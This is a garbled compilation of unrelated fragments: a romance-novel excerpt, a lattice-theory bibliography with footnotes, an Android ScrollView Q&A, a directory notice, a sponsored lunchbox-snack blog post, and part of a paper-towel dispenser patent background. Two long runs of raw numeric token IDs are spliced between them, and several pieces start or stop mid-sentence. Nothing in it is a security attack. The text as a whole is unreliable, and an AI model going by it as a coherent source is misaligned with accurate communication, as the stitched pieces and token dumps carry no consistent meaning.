wishes to deliver?" "It is a message that is both terribly short and inconceivably long." He clasped his hands behind her back. "Can you guess it?" "Ah, I think I can. Does he love me?" "For now and always." "How very fortunate since I shall love him for all time." She smiled up at him. "Do you like them?" "The flowers?" She glanced at the bouquet. He nodded. "Much to Foster's chagrin, I gathered them myself. They are not exactly like the flowers we tended on this day last year, but they are similar, and I had Foster dig out an old watering can to use as the vase. Is it not very much like the one you used to water your flowers ─ the ones you had just finished planting on the day I met you?" Elizabeth turned in his arms so that she could see the flowers. "You thought of all that while you picked these?" "I began by thinking of this." He pointed to the open journal page. "The day when you agreed to make me the happiest of men." "I had not expected to celebrate this day," she said softly. "If I had, I would have found a gift for you. One which spoke my love as well as these flowers speak of yours." "Ah, but I have arranged for that as well." He released her and walked back to his chair near the fireplace though he did not sit.

[ 5, 50265, 5, 18, 5, 50265, 5, 18, 5, 50265, 5, 18, 5, 50264, 5, 18, 5, 50262, 5, 18, 5, 50263, 5, 18, 5, 50262, 5, 18, 5, 50263, 5, 18, 5, 50263, 5, 18, 5, 187, 187, 60, 740, 1181, 187, 187, 55, 15, 575, 24900, 371, 22217, 13, 475, 510, 5161, 273, 6486, 40940, 2992, 5201, 6713, 22718, 11003, 313, 14209, 10, 14114, 14, 14555, 15, 187, 187, 40, 15, 575, 3594, 12271, 8260, 13, 475, 13425, 418, 9772, 15977, 2992, 378, 11131, 46276, 4537, 7188, 14293, 13, 8373, 293, 6469, 15, 187, 187, 43, 15, 58, 15, 575, 18581, 909, 8311, 13, 475, 2374, 253, 13782, 273, 15744, 4561, 23178, 40940, 2992, 1777, 15, 37, 15, 380, 5114, 13, 2499, 273, 659, 22220, 37298, 348, 13, 4695, 15, 187, 187, 46, 15, 575, 37633, 13, 475, 34238, 17424, 579, 36115, 3807, 830, 1657, 14474, 317, 864, 2992, 22077, 7211, 13, 23309, 7223, 13, 8210, 15, 187, 187, 46, 15, 575, 37633, 13, 475, 24408, 272, 2710, 3510, 273, 40940, 15744, 4561, 407, 803, 1507, 2992, 5838, 1073, 1111, 24674, 66, 299, 14654, 3737, 884, 313, 9595, 10, 8688, 14, 8196, 15, 353, 15, 575, 37633, 13, 475, 10203, 839, 512, 14127, 5083, 23768, 323, 23972, 14, 52, 1194, 13, 275, 9008, 2992, 187, 187, 51, 15, 575, 56, 4002, 13, 475, 2374, 40940, 15744, 4561, 407, 6486, 10571, 6960, 5239, 2992, 10595, 15, 8684, 15, 14162, 15, 3344, 375, 378, 10270, 2284, 14752, 13, 268, 15, 22, 3593, 14, 43114, 15, 187, 187, 41, 15, 575, 45, 518, 2152, 13, 475, 45, 34270, 15744, 4561, 407, 271, 1340, 285, 24279, 2176, 14493, 2992, 9262, 15, 187, 187, 56, 15, 51, 15, 575, 53, 4462, 280, 6458, 453, 13, 475, 510, 1959, 4336, 18838, 422, 10979, 689, 247, 803, 292, 2992, 38621, 21312, 261, 3127, 313, 15117, 10, 14114, 14, 13743, 15, 187, 187, 58, 543, 3987, 8182, 13, 475, 13425, 1025, 3019, 52, 13, 42, 16550, 11984, 1959, 4336, 18838, 422, 40940, 4561, 407, 803, 1507, 2992, 13740, 37259, 24703, 8988, 313, 11496, 10, 16918, 14, 20520, 15, 187, 187, 5180, 18, 5218, 844, 908, 669, 1637, 13, 393, 2461, 5, 3185, 273, 370, 66, 13, 270, 5, 275, 1008, 56, 20, 62, 984, 370, 66, 5, 285, 370, 67, 5, 452, 1529, 4495, 275, 253, 1246, 3929, 15, 187, 187, 5180, 19, 5218, 28285, 326, 5734, 4767, 5010, 13, 773, 6017, 300, 9772, 668, 2097, 669, 19406, 2911, 6017, 300, 9772, 15, 380, 3300, 300, 9772, 370, 39, 2253, 19406, 313, 49, 13, 1926, 1179, 416, 6580, 310, 247, 2714, 1083, 273, 247, 10898, 8697, 3921, 71, 16107, 3559, 407, 21025, 285, 2493, 13663, 6102, 17268, 403, 1900, 4451, 598, 281, 20169, 15, 187, 187, 5180, 20, 5218, 743, 3921, 40150, 12003, 4622, 5426, 273, 3019, 49, 1337, 2760, 19406, 4244, 891, 15, 70, 15, 581, 326, 32547, 247, 11616, 3300, 300, 9772, 370, 52, 5, 310, 1896, 15, 48627, 13, 1016, 803, 292, 3019, 49, 1337, 282, 1009, 476, 320, 18839, 281, 247, 7898, 3300, 300, 9772, 407, 41685, 1316, 272, 327, 667, 20077, 370, 57, 64, 74, 61, 11861, 367, 5, 323, 534, 370, 8403, 9, 57, 64, 74, 1009, 6569, 281, 2226, 275, 3019, 49, 1337, 282, 4244, 285, 407, 13947, 253, 7898, 4254, 816, 323, 841, 370, 57, 64, 74, 1352, 2064, 778, 3490, 253, 5426, 273, 3081, 669, 2760, 19406, 714, 5, 533, 588, 417, 1421, 281, 10435, 11297, 15, 17766, 326, 1008, 25923, 8260, 62, 760, 19401, 3921, 26458, 4622, 7898, 5871, 15, 2064, 651, 320, 1512, 29190, 323, 441, 275, 253, 24590, 15, 187, 187, 5180, 21, 5218, 1198, 440, 16586, 5239, 370, 49, 5, 436, 556, 644, 11464, 407, 367, 15, 353, 15, 17353, 1342, 275, 22715, 13, 3738, 500, 15, 378, 15, 15963, 3054, 326, 8229, 1306, 78, 6786, 9093, 253, 1072, 275, 18471, 15, 380, 3626, 6880, 281, 803, 1507, 3019, 49, 1337, 282, 1009, 310, 1955, 281, 416, 15, 367, 15, 37723, 11448, 18824, 15, 2719, 287, 1382, 247, 17926, 906, 273, 416, 15, 329, 15, 19172, 13, 388, 15, 43247, 2152, 1008, 77, 518, 2152, 62, 18445, 342, 253, 10979, 15744, 4561, 407, 3019, 49, 1337, 282, 1009, 285, 23000, 24279, 2176, 6486, 27022, 285, 16382, 275, 3019, 49, 1337, 282, 3822, 187, 50, 27, 187, 187, 5430, 281, 4993, 4959, 14084, 3145, 4898, 32, 187, 187, 42, 1353, 2820, 281, 2794, 247, 12806, 342, 2709, 16020, 13, 1292, 512, 16020, 369, 417, 8653, 327, 29891, 13, 1893, 891, 908, 14084, 1859, 533, 1024, 891, 452, 581, 1895, 984, 273, 4114, 2460, 313, 4609, 310, 273, 1029, 6064, 481, 3954, 891, 1353, 2970, 1077, 1781, 6325, 2317, 762, 846, 16020, 15, 7764, 1804, 247, 2900, 849, 476, 891, 4993, 14084, 3145, 288, 429, 594, 326, 352, 2506, 626, 921, 253, 2317, 762, 16020, 15, 187, 3022, 831, 1163, 23954, 342, 3168, 4114, 310, 28680, 9114, 7985, 3601, 285, 745, 3168, 2170, 310, 4114, 2460, 15, 187, 187, 34, 27, 187, 187, 510, 1682, 2900, 651, 320, 281, 897, 271, 20420, 25180, 2460, 15, 1310, 368, 760, 971, 281, 3148, 629, 273, 253, 2460, 13, 533, 253, 2460, 310, 247, 1029, 6064, 2460, 13, 840, 368, 403, 31160, 5300, 407, 10935, 253, 2862, 2460, 15, 187, 1394, 812, 546, 10483, 253, 43103, 3145, 1561, 1529, 9182, 13, 285, 873, 253, 4114, 273, 634, 2885, 1859, 281, 320, 5913, 4114, 368, 8327, 15, 6618, 253, 4898, 273, 1097, 6849, 9113, 285, 368, 943, 5115, 634, 6799, 906, 15, 187, 510, 19868, 651, 320, 187, 187, 3145, 313, 3113, 4114, 2460, 10, 187, 187, 23772, 3145, 342, 16020, 535, 5623, 15318, 329, 17855, 187, 187, 2042, 368, 1089, 326, 359, 403, 5816, 247, 7140, 13, 840, 4496, 1804, 352, 3066, 253, 686, 49969, 247, 26891, 8, 3048, 387, 253, 5004, 273, 253, 7140, 7223, 15, 1198, 625, 1491, 327, 29315, 247, 2670, 368, 476, 1239, 776, 9617, 19529, 9600, 15, 187, 187, 20330, 6317, 187, 187, 510, 9617, 556, 644, 3515, 1024, 323, 689, 884, 1107, 285, 594, 359, 4425, 281, 1918, 352, 247, 747, 1007, 15, 844, 3078, 281, 1978, 253, 1072, 7138, 285, 3740, 533, 342, 247, 5777, 9300, 2216, 15, 1198, 625, 1491, 285, 643, 9617, 3668, 4496, 5532, 1060, 15, 1552, 310, 247, 24834, 7827, 3542, 407, 479, 327, 11136, 273, 3035, 1866, 8420, 457, 84, 8942, 15, 380, 11626, 285, 2505, 403, 512, 7477, 15, 187, 187, 1466, 2454, 352, 13, 2243, 457, 84, 403, 10000, 2, 2726, 3253, 326, 3249, 2112, 342, 253, 896, 281, 2143, 10934, 13, 352, 476, 1928, 7479, 2403, 2119, 368, 3584, 634, 1429, 247, 11157, 326, 597, 588, 417, 760, 2389, 13, 533, 310, 671, 5875, 323, 731, 1512, 15, 2064, 457, 84, 835, 13375, 457, 84, 3972, 5410, 8942, 45782, 285, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 1705, 715, 1132, 15, 187, 187, 1909, 368, 2168, 778, 871, 13, 309, 717, 247, 2243, 281, 247, 1077, 28378, 285, 1442, 30043, 577, 807, 1711, 15, 754, 556, 2176, 43915, 661, 670, 779, 326, 1056, 22485, 247, 2143, 11157, 3782, 11132, 15, 754, 556, 247, 10864, 1618, 273, 1841, 344, 1912, 457, 85, 6008, 275, 521, 11157, 13, 533, 309, 717, 9995, 281, 1333, 326, 13375, 457, 84, 3972, 5410, 8942, 45782, 285, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 403, 1633, 359, 476, 1097, 5194, 327, 2, 187, 187, 38603, 457, 84, 3972, 5410, 8942, 45782, 310, 31065, 247, 2243, 84, 1682, 3331, 2, 733, 3386, 387, 1878, 854, 23891, 390, 625, 273, 2644, 19786, 275, 1046, 9417, 342, 642, 13345, 26791, 13, 9830, 390, 1029, 14, 71, 42437, 14128, 30121, 15, 733, 671, 3249, 275, 512, 1027, 19112, 534, 476, 1361, 1818, 598, 11157, 672, 634, 1652, 581, 310, 5471, 11870, 273, 253, 773, 12850, 6598, 187, 187, 31826, 247, 13375, 457, 84, 3972, 5410, 8942, 25749, 342, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 285, 368, 452, 247, 3761, 1160, 275, 2243, 13926, 2, 9240, 36766, 1652, 26574, 403, 247, 24897, 485, 13, 794, 33503, 9670, 32487, 323, 253, 11157, 3364, 285, 1160, 342, 1524, 12696, 15, 6975, 616, 5875, 4828, 629, 13, 597, 403, 671, 1029, 269, 42437, 14128, 30121, 285, 811, 4195, 1959, 15, 3771, 15331, 247, 1652, 7351, 275, 253, 11157, 3817, 285, 2118, 327, 342, 634, 4131, 2, 47708, 1475, 387, 253, 5004, 273, 253, 1501, 323, 634, 4839, 281, 3330, 13375, 457, 84, 3972, 5410, 8942, 10238, 285, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 11188, 3016, 247, 370, 1099, 2448, 16500, 40323, 9858, 2, 187, 187, 53, 9518, 387, 896, 14, 936, 14, 19221, 13, 13375, 457, 84, 3972, 5410, 8942, 45782, 285, 11573, 378, 3254, 11982, 7305, 1663, 403, 253, 7813, 273, 253, 418, 3204, 3364, 2, 6201, 10344, 285, 12725, 634, 1429, 342, 1097, 12461, 13, 9075, 285, 794, 2, 2325, 2119, 281, 2451, 562, 253, 7813, 273, 253, 418, 3204, 3364, 370, 740, 13, 933, 46384, 19760, 24516, 296, 1582, 323, 634, 4839, 281, 3330, 247, 370, 740, 13, 933, 46384, 19760, 323, 634, 1652, 581, 2, 187, 187, 24397, 323, 247, 10995, 45919, 25749, 2934, 326, 634, 1429, 588, 2389, 32, 9423, 436, 562, 2, 187, 187, 25392, 378, 3254, 708, 427, 2478, 3972, 5410, 21803, 18715, 535, 1628, 21972, 3785, 668, 32895, 398, 323, 38951, 12112, 8335, 2144, 13, 824, 347, 2929, 41204, 285, 253, 751, 13, 403, 973, 1929, 275, 253, 1445, 15, 5197, 3785, 32895, 398, 15313, 616, 1416, 432, 253, 1511, 273, 8335, 2144, 534, 597, 47564, 15, 380, 8335, 2144, 310, 5431, 2530, 275, 253, 830, 273, 247, 4055, 3785, 773, 7585, 1425, 380, 2144, 11616, 253, 4384, 310, 4272, 715, 13358, 14526, 407, 26549, 14, 522, 435, 13, 17430, 3104, 273, 27024, 569, 275, 253, 4384, 15, 380, 4384, 310, 5431, 14436, 4830, 3139, 285, 840, 10785, 715, 247, 4533, 275, 534, 253, 1421, 990, 8725, 432, 253, 4055, 273, 253, 4533, 15, 380, 4384, 310, 10357, 517, 432, 253, 4055, 273, 253, 4533, 407, 14252, 327, 253, 1421, 990, 15, 187, 21972, 3785, 32895, 398, 908, 281, 47564, 436, 1511, 273, 4384, 2144, 5431, 2882, 273, 247, 32895, 254, 8039, 285, 247, 2613, 1561, 253, 8039, 323, 8109, 247, 4533, 273, 253, 4384, 2144, 15, 329, 773, 2369, 12610, 668, 1907, 247, 3402, 13947, 247, 3839, 47233, 6703, 10056, 1106, 7024, 432, 253, 2613, 390, 8039, 15, 380, 4384, 310, 4817, 949, 253, 28181, 347, 352, 310, 7320, 562, 273, 253, 32895, 254, 407, 253, 2608, 15, 380, 28181, 310, 25180, 824, 326, 253, 2831, 14, 20382, 2170, 273, 253, 6891, 383, 5110, 273, 253, 10056, 1106, 310, 5777, 1679, 685, 253, 3576, 2831, 14, 20382, 2170, 273, 253, 4384, 2144, 15, 380, 28181, 3400, 269, 1467, 1593, 5052, 281, 4866, 273, 253, 4384, 347, 352, 310, 7320, 1977, 432, 253, 32895, 254, 407, 253, 2608, 15, 187, 9770, 2144, 310, 7644, 8821, 672, 253, 2608, 650, 284, 793, 253, 4283, 990, 273, 253, 4384, 3345, 253, 32895, 254, 285, 25612, 253, 4283, 990, 1977, 432, 253, 32895, 254, 15, 380, 3785, 3490, 3732, 407, 253, 2608, 5997, 253, 4384, 281, 10357, 527, 432, 253, 4055, 273, 253, 4533, 15, 1310, 253, 32895, 254, 17209, 347, 6034, 13, 5052, 281, 253, 3785, 3490, 3732, 407, 28181, 588, 2847, 247, 2014, 8335, 273, 253, 4384, 2144, 281, 16024, 2112, 253, 27024, 318, 1386, 3345, 273, 253, 32895, 254, 875, 253, 28181, 285, 253, 4283, 5024, 273, 253, 4384, 15, 20599, 273, 4055, 3785, 32895, 398, 2486, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 25, 2358, 13, 26140, 313, 36, 706, 375, 582, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 49002, 13, 49909, 313, 3594, 26341, 1162, 355, 11507, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 40629, 13, 24117, 313, 10859, 25374, 10, 285, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 16763, 13, 24614, 313, 46, 836, 90, 481, 187, 21972, 3785, 32895, 398, 273, 253, 2720, 1445, 403, 2256, 281, 247, 1180, 273, 1774, 23797, 15, 2596, 18928, 310, 326, 253, 4229, 1979, 273, 253, 28181, 10056, 1106, 35979, 2176, 7364, 327, 253 ]

$ $1$ $1$ $1$ $1$ $1$ $1$ $1$ $1$ $1$ [10]{} V. Duquenne, *The core of finite lattices*, Discrete Mathematics 88 (1991) 133-147. G. Grätzer, *General Lattice Theory*, Birkhäuser Verlag, Basel 2003. J.Y. Semegni, *On the computation of freely generated modular lattices*, Ph.D. Thesis, University of Stellenbosch, 2008. M. Wild, *Halbgruppen und formule Sprachen*, lecture notes, 163 pages, 1997. M. Wild, *Computing various types of lattices freely generated by posets*, Note di matematica e fisica 10 (1999) 99-128. M. Wild, *Generating all satisfying truth assignments for Horn-SAT, in preparation*, R. Wille, *On lattices freely generated by finite partially ordered sets*, Coll. Math. Soc. Janos Bolyai 1975, p.581-593. H. Lakser, *Lattices freely generated by an order and preserving certain bounds*, submitted. W.R. Tunnicliffe, *The free completely distributive lattice over a poset*, Algebra Universalis 21 (1985) 133-135. Yongming Li, *Generalized $(S,I)$-complete free completely distributive lattices generated by posets*, Semigroup Forum 57 (1998) 240-248. [^1]: We used $\alpha, \beta$ instead of $a, b$ in [@W3] because $a$ and $b$ have another meaning in the present article. [^2]: Recall that unless stated otherwise, “semilattice” means $\vee$-semilattice. The semilattice $F_\vee (P, {\cal R})$ is a special case of a universal algebra [*finitely presented by generators and relations.*]{} Such creatures are always unique up to isomorphism. [^3]: An [*intrinsic*]{} definition of $(P,\bigvee)$, i.e. one that avoids a comprising semilattice $S$ is possible. Essentially, each poset $(P,\le)$ can be enriched to a partial semilattice by focussing on any subsets $X_i\subseteq P$ for which $sup(X_i)$ happens to exist in $(P,\le)$, and by defining the partial operation just for these $X_i$. That may force the definition of additional $\bigvee Y$ but will not lead to contradictions. Notice that [@gratzer] only considers [*binary*]{} partial operations. That would be too restrictive for us in the sequel. [^4]: For unordered sets $P$ this has been proven by P. M. Whitman in 1941, although J. B. Nation states that Skolem achieved essentially the same in 1920. The natural extension to posets $(P,\le)$ is due to R. P. Dilworth 1945. Reproving a 1964 result of R. A. Dean, H. Lakser [@lakser] dealt with the lattice freely generated by $(P,\le)$ and additionally preserving certain finite joins and meets in $(P,\le)$. Q: how to fix android scrollView height? I'm trying to create a layout with multiple buttons, But all buttons was not displayed on Screen, So i used scroll view but now i have one problem because of background image (which is of high resolution). Now i'm getting very large empty space under after buttons. Please suggest a solution how can i fix scrollView hight so that it doesn't show the space under buttons. like This :Area with white background is Moblie visible screen and off white area is background image. A: The best solution would be to use an appropriately sized image. If you only want to display part of the image, but the image is a high resolution image, then you are wasting resources by loading the entire image. You could enclose the ScrollView within another View, and set the background of your parent view to be whatever background you desire. Set the height of both views correctly and you should achieve your desired result. The hierarchy would be View (with background image) ScrollView with buttons Submitting A Site If you find that we are missing a category, then please suggest it via the 'Suggest a Category' link at the bottom of the category pages. For more information on submitting a site you can read our directory submission guidelines. Directory News The directory has been running now for over 10 years and so we decided to give it a new look. We wanted to keep the same brand and style but with a slightly updated design. For more information and other directory news please click here.This is a sponsored conversation written by me on behalf of Entenmann’s®. The opinions and text are all mine. Let face it, mom’s are busy! With everything that comes along with the back to school routine, it can feel impossible making sure you pack your child a lunch that they will not only love, but is also healthy for them too. That’s where Nature’s Harvest® Bread and Entenmann’s® Little Bites™ Snacks come into play. As you already may know, I am a mom to a very energetic and finicky 4 year old. He has certain quirks about him that make packing a school lunch particularly challenging. He has a giant list of things he won’t eat in his lunch, but I am glad to say that Nature’s Harvest® Bread and Entenmann’s® Little Bites™ Snacks are something we can both agree on! Nature’s Harvest® Bread is secretly a moms best friend! It features at least 8 grams or more of whole grains in every serving with no artificial flavors, colors or high-fructose corn syrup. It also comes in all different varieties which can help change up lunch when your little one is feeling tired of the “norm”. Pair a Nature’s Harvest® sandwich with Entenmann’s® Little Bites™ Snacks and you have a match made in mom heaven! Those tasty little treats are a wholesome, fun snack perfectly packaged for the lunchbox and made with real ingredients. Like their healthy counter part, they are also high fructose corn syrup and trans fa free. Just toss a little bag in the lunch box and move on with your morning! Stick around at the bottom of the post for your chance to win Nature’s Harvest® bread and Entenmann’s® Little Bites™ Snacks PLUS a $25 American Express Gift Card! Together at back-to-school, Nature’s Harvest® Bread and Little Bites Snacks really are the Life of the Lunchbox! Surprise and delight your child with both nutrition, taste and fun! Be sure to check out the Life of the Lunchbox $10,000 Savings Bond sweepstakes for your chance to win a $10,000 Savings Bond for your little one! Looking for a creative DIY sandwich idea that your child will love? Check this out! Little Bites & Natures Harvest Prize Pack “Center pull” dispensers for dispensing flexible sheet material, such as paper towels and the like, are well known in the art. Center pull dispensers derive their name from the type of sheet material which they dispense. The sheet material is typically provided in the form of a center pull “web.” The material comprising the web is divided into discrete sheets by spaced-apart, transverse lines of perforations in the web. The web is typically rolled onto itself and then wound into a roll in which the lead end extends from the center of the roll. The web is unwound from the center of the roll by pulling on the lead end. Center pull dispensers used to dispense this type of web material typically consist of a dispenser housing and a base within the housing for supporting a roll of the web material. A “nozzle” having a wall defining a generally conical inner passageway depends from the base or housing. The web is passed through the nozzle as it is pulled out of the dispenser by the user. The nozzle is sized such that the cross-sectional area of the narrowest portion of the passageway is slightly less than the effective cross-sectional area of the web material. The nozzle provides frictional resistance to movement of the web as it is pulled away from the dispenser by the user. Web material is dispensed when the user grasps the leading end of the web outside the dispenser and pulls the leading end away from the dispenser. The pull force applied by the user causes the web to unwind from the center of the roll. If the dispenser operates as intended, resistance to the pull force applied by nozzle will cause a single sheet of the web material to tear along the perforation line outside of the dispenser between the nozzle and the leading edge of the web. Examples of center pull dispensers include U.S. Pat. No. 5,868,346 (Cobos), U.S. Pat. No. 5,765,718 (Grasso et al.), U.S. Pat. No. 5,762,287 (Schutz) and U.S. Pat. No. 5,205,455 (Moody). Center pull dispensers of the prior art are subject to a number of important disadvantages. One disadvantage is that the fixed size of the nozzle passageway imposes certain limitations on the

[ 266, 31277, 1916, 755, 562, 273, 247, 6308, 273, 7596, 387, 253, 1390, 7017, 15, 26467, 15, 187, 187, 817, 32504, 1433, 1864, 42, 19038, 5803, 611, 47, 15122, 9149, 3003, 3027, 38425, 34487, 187, 187, 42, 812, 2761, 452, 2218, 436, 1618, 327, 4335, 23885, 3815, 27, 5490, 5602, 16008, 13, 15948, 23119, 40033, 13, 6911, 36220, 13, 35544, 5602, 17993, 266, 13, 5490, 10520, 13, 27708, 9368, 356, 5582, 285, 5490, 7233, 15, 1292, 1060, 403, 3578, 643, 13557, 27, 187, 187, 424, 18, 15, 35665, 7902, 424, 1108, 3692, 2120, 1416, 310, 13651, 35665, 372, 367, 453, 567, 293, 7902, 13, 594, 368, 476, 1067, 779, 1219, 15, 187, 187, 424, 19, 15, 42135, 38174, 424, 1108, 2516, 15, 187, 187, 424, 20, 15, 1503, 317, 443, 3502, 27268, 424, 1108, 6893, 15, 187, 187, 424, 21, 15, 24035, 657, 1370, 424, 1108, 18759, 293, 15, 187, 187, 424, 22, 15, 367, 15242, 12521, 3487, 424, 1108, 25413, 2516, 37870, 12521, 3487, 9288, 253, 1416, 367, 15242, 672, 344, 4395, 281, 47677, 4726, 432, 11442, 11011, 672, 344, 369, 19525, 15, 187, 187, 424, 23, 15, 444, 2369, 348, 27286, 424, 1108, 2516, 13, 969, 15, 187, 187, 424, 24, 15, 13104, 10734, 2224, 4379, 424, 1108, 18059, 40579, 7727, 12951, 2555, 84, 10734, 2224, 4379, 13, 9843, 323, 4693, 275, 14861, 28585, 434, 2208, 15, 187, 187, 424, 25, 15, 32726, 24460, 424, 1108, 665, 310, 247, 7395, 472, 13, 846, 7395, 472, 2398, 363, 1519, 13, 2021, 3331, 285, 15217, 273, 253, 8614, 5931, 15, 187, 187, 424, 26, 15, 19917, 28318, 17655, 424, 1108, 399, 9761, 570, 15, 380, 760, 3416, 309, 476, 1089, 27, 247, 9843, 275, 17419, 7233, 434, 2208, 285, 7028, 281, 11290, 13, 253, 44741, 8406, 15, 187, 187, 424, 740, 15, 6018, 343, 11366, 466, 424, 1108, 8035, 5490, 15, 187, 187, 1898, 690, 643, 8530, 806, 4454, 27, 12932, 338, 433, 6393, 2325, 472, 13, 32698, 267, 443, 5401, 26066, 13, 7195, 22723, 1716, 1216, 90, 13, 10092, 21523, 13514, 19954, 4906, 13, 24035, 18268, 8292, 8524, 47435, 13, 23442, 18666, 2633, 28753, 285, 2006, 4115, 9385, 32632, 71, 15, 187, 187, 817, 378, 4985, 14007, 41004, 26564, 58, 17706, 24694, 8, 53, 28204, 187, 187, 42, 266, 17314, 2205, 15212, 271, 7202, 48137, 2689, 587, 281, 479, 27, 686, 42, 1053, 626, 2868, 275, 271, 846, 8206, 13, 533, 309, 4489, 5098, 751, 247, 637, 665, 1057, 2464, 29578, 403, 1110, 6296, 665, 403, 30082, 2217, 281, 452, 4925, 253, 990, 273, 841, 27, 187, 187, 424, 18, 6019, 8057, 11255, 281, 20574, 407, 19027, 18150, 7896, 15, 13134, 621, 273, 10125, 4211, 15, 13134, 621, 273, 49898, 440, 30229, 15, 187, 187, 424, 19, 6019, 329, 16404, 9541, 273, 6865, 407, 12167, 9221, 4351, 15, 4129, 581, 35260, 36790, 326, 703, 574, 1239, 352, 686, 455, 253, 1039, 949, 27, 352, 434, 9670, 3477, 281, 513, 13, 285, 253, 502, 469, 860, 670, 12445, 19083, 352, 310, 22258, 5983, 187, 187, 424, 20, 6019, 530, 47758, 265, 407, 5490, 36606, 15, 329, 4682, 4742, 581, 436, 13, 327, 253, 9905, 326, 10693, 3780, 41307, 352, 275, 253, 806, 1659, 313, 5658, 476, 755, 352, 1959, 327, 43252, 481, 187, 187, 424, 21, 6019, 7813, 273, 16617, 407, 714, 1136, 5794, 293, 15, 686, 1147, 434, 1694, 247, 39121, 275, 352, 2464, 14698, 40065, 3597, 281, 7163, 4024, 512, 3083, 45428, 20721, 313, 795, 14660, 273, 16617, 64, 1912, 275, 6752, 582, 533, 253, 7126, 15197, 14737, 1665, 1912, 275, 4267, 13, 594, 309, 3589, 626, 1907, 326, 15, 187, 187, 424, 22, 6019, 8057, 3396, 407, 399, 2623, 34804, 293, 15, 37947, 3901, 407, 6911, 388, 28738, 27, 686, 42, 1978, 4495, 281, 2464, 187, 187, 424, 23, 6019, 48156, 8076, 5316, 407, 7993, 17025, 15, 329, 9178, 84, 5857, 25546, 407, 7188, 7187, 7567, 2327, 13, 534, 778, 320, 247, 2127, 1416, 15, 187, 187, 424, 24, 6019, 29130, 414, 434, 46375, 407, 7195, 367, 1362, 348, 251, 15, 37947, 3901, 407, 11197, 2545, 39772, 13, 665, 671, 3597, 281, 7163, 4024, 42430, 2604, 26202, 13, 533, 952, 513, 2686, 1239, 779, 15, 187, 187, 424, 25, 6019, 2752, 7813, 407, 7641, 9662, 15, 1893, 37551, 27207, 326, 1048, 33902, 2882, 273, 521, 12345, 28267, 30219, 26899, 15, 187, 187, 424, 26, 6019, 19383, 9541, 407, 18175, 11064, 3964, 9662, 15, 733, 651, 452, 9809, 2583, 574, 253, 9922, 3625, 273, 4695, 644, 13465, 347, 247, 20407, 2278, 273, 436, 285, 22306, 6729, 434, 795, 510, 12469, 10757, 273, 15541, 4414, 187, 187, 424, 740, 15, 6101, 273, 27283, 20554, 434, 5098, 6019, 37947, 3901, 407, 17626, 1143, 17353, 2205, 13, 665, 8042, 562, 326, 954, 4417, 15592, 19478, 15, 25373, 6304, 571, 13, 9090, 15, 187, 187, 817, 36041, 48697, 26483, 2415, 35, 5626, 6117, 8, 427, 37743, 187, 187, 11837, 807, 253, 3313, 15794, 6884, 6556, 247, 1264, 14, 1201, 16730, 1925, 686, 783, 7482, 1383, 275, 534, 2448, 5842, 6671, 5206, 747, 3773, 432, 253, 3733, 9905, 273, 6831, 15, 5815, 807, 253, 7482, 310, 247, 3497, 327, 253, 6571, 2806, 2448, 2444, 14, 2437, 4062, 273, 23179, 806, 4454, 13, 2223, 342, 5112, 16178, 13, 30828, 1658, 1041, 285, 12955, 15368, 723, 15, 187, 187, 424, 18, 15, 4033, 413, 3391, 353, 25864, 424, 28701, 264, 407, 253, 19802, 39699, 13, 521, 13189, 403, 29835, 285, 388, 9932, 580, 784, 15, 187, 187, 424, 19, 15, 31635, 1136, 8684, 19683, 424, 28701, 264, 407, 253, 13169, 37911, 15, 13104, 19389, 686, 48871, 15350, 1063, 5983, 313, 2302, 13, 309, 1053, 626, 871, 2057, 2698, 187, 187, 424, 20, 15, 399, 8, 35, 4662, 1225, 1403, 31162, 424, 28701, 264, 275, 5403, 407, 253, 1457, 2816, 35849, 15, 427, 3163, 846, 10956, 26378, 372, 378, 695, 515, 435, 13, 247, 1894, 275, 9178, 84, 5579, 12949, 14, 22253, 795, 510, 30904, 43328, 4414, 187, 187, 424, 21, 15, 743, 7553, 16189, 18250, 282, 3599, 424, 380, 3438, 22119, 2951, 15766, 310, 14373, 1024, 13, 533, 344, 369, 271, 16383, 4760, 342, 271, 9696, 16383, 1416, 15, 187, 187, 424, 22, 15, 34884, 473, 348, 406, 45741, 424, 754, 4391, 521, 38213, 432, 7902, 281, 253, 9883, 323, 854, 14, 22, 13, 253, 1180, 327, 521, 14133, 13, 275, 4695, 15, 187, 187, 424, 23, 15, 6029, 43, 274, 87, 316, 6115, 14, 28578, 261, 424, 3954, 342, 253, 29089, 21524, 932, 13, 344, 369, 15278, 19389, 686, 510, 5405, 38541, 8, 407, 521, 3438, 31907, 387, 253, 1457, 5854, 33668, 15, 187, 187, 424, 24, 15, 3905, 8478, 7541, 1916, 832, 1001, 424, 28351, 314, 342, 253, 46066, 46174, 1032, 15, 187, 187, 424, 25, 15, 10664, 8, 3251, 266, 9662, 14, 37, 895, 424, 41570, 347, 10664, 18853, 13, 344, 7120, 323, 253, 6115, 6912, 43290, 15, 187, 187, 424, 26, 15, 418, 528, 10573, 3130, 614, 424, 28351, 314, 273, 253, 18267, 20055, 5040, 285, 253, 16146, 399, 35706, 15, 187, 187, 424, 740, 15, 1847, 991, 4173, 7634, 560, 424, 380, 3438, 22119, 2951, 15766, 5608, 673, 846, 9602, 2994, 275, 253, 1791, 342, 271, 440, 663, 8821, 5654, 15, 187, 187, 9917, 25546, 27, 12772, 30276, 254, 13, 5612, 466, 3690, 2331, 7067, 13, 7812, 580, 784, 20923, 13, 500, 1000, 469, 80, 27409, 5316, 90, 13, 12073, 8, 46204, 41678, 285, 714, 593, 90, 596, 304, 3878, 15, 187, 187, 817, 353, 1830, 8846, 2415, 32663, 187, 187, 36569, 9668, 2064, 5316, 1620, 2336, 18279, 1598, 753, 326, 703, 12258, 1457, 15702, 390, 14861, 28585, 347, 617, 6459, 19797, 13, 3738, 352, 11359, 3551, 598, 275, 4385, 3927, 670, 617, 15, 7087, 476, 359, 871, 326, 616, 6326, 4477, 753, 667, 273, 841, 27, 187, 187, 424, 18, 15, 686, 8457, 352, 434, 627, 8, 424, 1108, 42953, 18175, 15, 733, 3589, 626, 779, 13, 352, 369, 24628, 6086, 21984, 590, 13, 1529, 12015, 589, 13, 3738, 627, 434, 642, 1941, 